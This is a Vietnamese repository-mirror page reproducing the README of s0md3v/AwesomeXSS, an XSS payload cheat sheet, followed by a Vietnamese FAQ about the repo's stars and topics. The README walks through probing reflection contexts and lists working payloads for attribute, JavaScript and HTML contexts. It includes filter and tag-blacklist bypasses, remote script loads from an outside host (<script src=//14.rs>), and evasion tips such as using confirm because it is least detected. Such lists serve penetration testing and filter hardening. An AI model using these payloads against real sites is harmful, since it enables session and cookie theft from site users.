Trên GitHub, s0md3v/AwesomeXSS đã đạt 5.1k sao, ngôn ngữ JavaScript. Awesome XSS stuff
Tóm tắt dựng từ metadata GitHub của chính dự án — chưa có bài review TopGit. Trang sẽ tự động cập nhật khi bài review đầy đủ được xuất bản.
VÌ SAO CHƯA CÓ REVIEW
TopGit viết bài đầy đủ cho repo có nhiều sao nhất và được yêu cầu nhiều nhất. Trang này là snapshot trong thời gian chờ — xem README gốc ở tab READ ME.
If nothing of this works, take a look at Awesome Bypassing section
First of all, enter a non-malicious string like d3v and look at the source code to get an idea about number and contexts of reflections.
Now for attribute context, check if double quotes (") are being filtered by entering x"d3v. If it gets altered to x"d3v, chances are that output is getting properly escaped. If this happens, try doing the same for single quotes (') by entering x'd3v, if it gets altered to x', you are doomed. The only thing you can try is encoding.
If the quotes are not being filtered, you can simply try payloads from Awesome Context Breaking section.
For javascript context, check which quotes are being used for example if they are doing
variable = 'value' or variable = "value"
Now lets say single quotes (') are in use, in that case enter x'd3v. If it gets altered to x\'d3v, try escaping the backslash () by adding a backslash to your probe i.e. x\'d3v. If it works use the following payload:
\'-alert()//
But if it gets altered to x\\\'d3v, the only thing you can try is closing the script tag itself by using
</script><svg onload=alert()>
For simple HTML context, the probe is x<d3v. If it gets altered to x>d3v, proper sanitization is in place. If it gets reflected as it as, you can enter a dummy tag to check for potential filters. The dummy tag I like to use is x<xxx>. If it gets stripped or altered in any way, it means the filter is looking for a pair of < and >. It can simply bypassed using
<svg onload=alert()//
or this (it will not work in all cases)
<svg onload=alert()
If the your dummy tags lands in the source code as it is, go for any of these payloads
<svg onload=alert()>
<embed src=//14.rs>
<details open ontoggle=alert()>
Awesome Bypassing
Note: None of these payloads use single (') or double quotes (").
Without event handlers
<object data=javascript:confirm()>
<a href=javascript:confirm()>click here
<script src=//14.rs></script>
<script>confirm()</script>
<x onclick=confirm()>click here
<x ondrag=aconfirm()>drag it
Bypass tag blacklisting
</ScRipT>
</script
</script/>
</script x>
Awesome Encoding
HTML
Char
Numeric
Description
Hex
CSS (ISO)
JS (Octal)
URL
"
"
"
quotation mark
u+0022
\0022
\42
%22
#
#
#
number sign
u+0023
\0023
\43
%23
$
$
$
dollar sign
u+0024
\0024
\44
%24
%
%
%
percent sign
u+0025
\0025
\45
%25
&
&
&
ampersand
u+0026
\0026
\46
%26
'
'
'
apostrophe
u+0027
\0027
\47
%27
(
(
(
left parenthesis
u+0028
\0028
\50
%28
)
)
)
right parenthesis
u+0029
\0029
\51
%29
*
*
*
asterisk
u+002A
\002a
\52
%2A
+
+
+
plus sign
u+002B
\002b
\53
%2B
,
,
,
comma
u+002C
\002c
\54
%2C
−
-
-
hyphen-minus
u+002D
\002d
\55
%2D
.
.
.
full stop; period
u+002E
\002e
\56
%2E
/
/
/
solidus; slash
u+002F
\002f
\57
%2F
:
:
:
colon
u+003A
\003a
\72
%3A
;
;
;
semicolon
u+003B
\003b
\73
%3B
<
<
<
less-than
u+003C
\003c
\74
%3C
=
=
=
equals
u+003D
\003d
\75
%3D
>
>
>
greater-than sign
u+003E
\003e
\76
%3E
?
?
?
question mark
u+003F
\003f
\77
%3F
@
@
@
at sign; commercial at
u+0040
\0040
\100
%40
[
[
[
left square bracket
u+005B
\005b
\133
%5B
\
\
\
backslash
u+005C
\005c
\134
%5C
]
]
]
right square bracket
u+005D
\005d
\135
%5D
^
^
^
circumflex accent
u+005E
\005e
\136
%5E
_
_
_
low line
u+005F
\005f
\137
%5F
`
`
`
grave accent
u+0060
\0060
\u0060
%60
{
{
{
left curly bracket
u+007b
\007b
\173
%7b
|
|
|
vertical bar
u+007c
\007c
\174
%7c
}
}
}
right curly bracket
u+007d
\007d
\175
%7d
Awesome Tips & Tricks
http(s):// can be shortened to // or /\\ or \\.
document.cookie can be shortened to cookie. It applies to other DOM objects as well.
alert and other pop-up functions don't need a value, so stop doing alert('XSS') and start doing alert()
You can use // to close a tag instead of >.
I have found that confirm is the least detected pop-up function so stop using alert.
Quotes around attribute value aren't necessary as long as it doesn't contain spaces. You can use <script src=//14.rs> instead of <script src="//14.rs">
The shortest HTML context XSS payload is <script src=//14.rs> (19 chars)
Awesome Credits
All the payloads are crafted by me unless specified.
Trang TopGit này là một snapshot — tab "Readme" hiển thị nguyên văn README của repo (đã bỏ link, giữ ảnh). Repo GitHub ở github.com/s0md3v/AwesomeXSS là nguồn chính thức.
s0md3v/AwesomeXSS có bao nhiêu sao?
s0md3v/AwesomeXSS có 5.1k sao GitHub — tải lại trang để xem số mới nhất, hoặc xem trực tiếp github.com/s0md3v/AwesomeXSS. TopGit phản chiếu số sao của GitHub nhưng không cam kết đến từng phút.
s0md3v/AwesomeXSS có những chủ đề gì?
GitHub topics của s0md3v/AwesomeXSS: "payload", "payload-list", "xss", "xss-cheatsheet", "xss-detection", "xss-payloads". TopGit xếp repo vào nhóm mã nguồn mở.
s0md3v/AwesomeXSS còn đang phát triển không?
Commit gần nhất trên s0md3v/AwesomeXSS là 1.8 năm trước (theo timestamp GitHub). Repo có 782 fork — một chỉ báo về mức độ quan tâm của cộng đồng.
s0md3v/AwesomeXSS viết bằng ngôn ngữ gì?
s0md3v/AwesomeXSS chủ yếu viết bằng JavaScript. Trường "language" của GitHub dựa trên phần lớn byte ở nhánh mặc định.
Đọc đầy đủ README ở tab phía trên.
Vẫn đang phân vân về AwesomeXSS?
Một cú bấm sẽ gửi câu hỏi kèm trang này cho AI — xem AI nói gì về AwesomeXSS.
/AwesomeXSS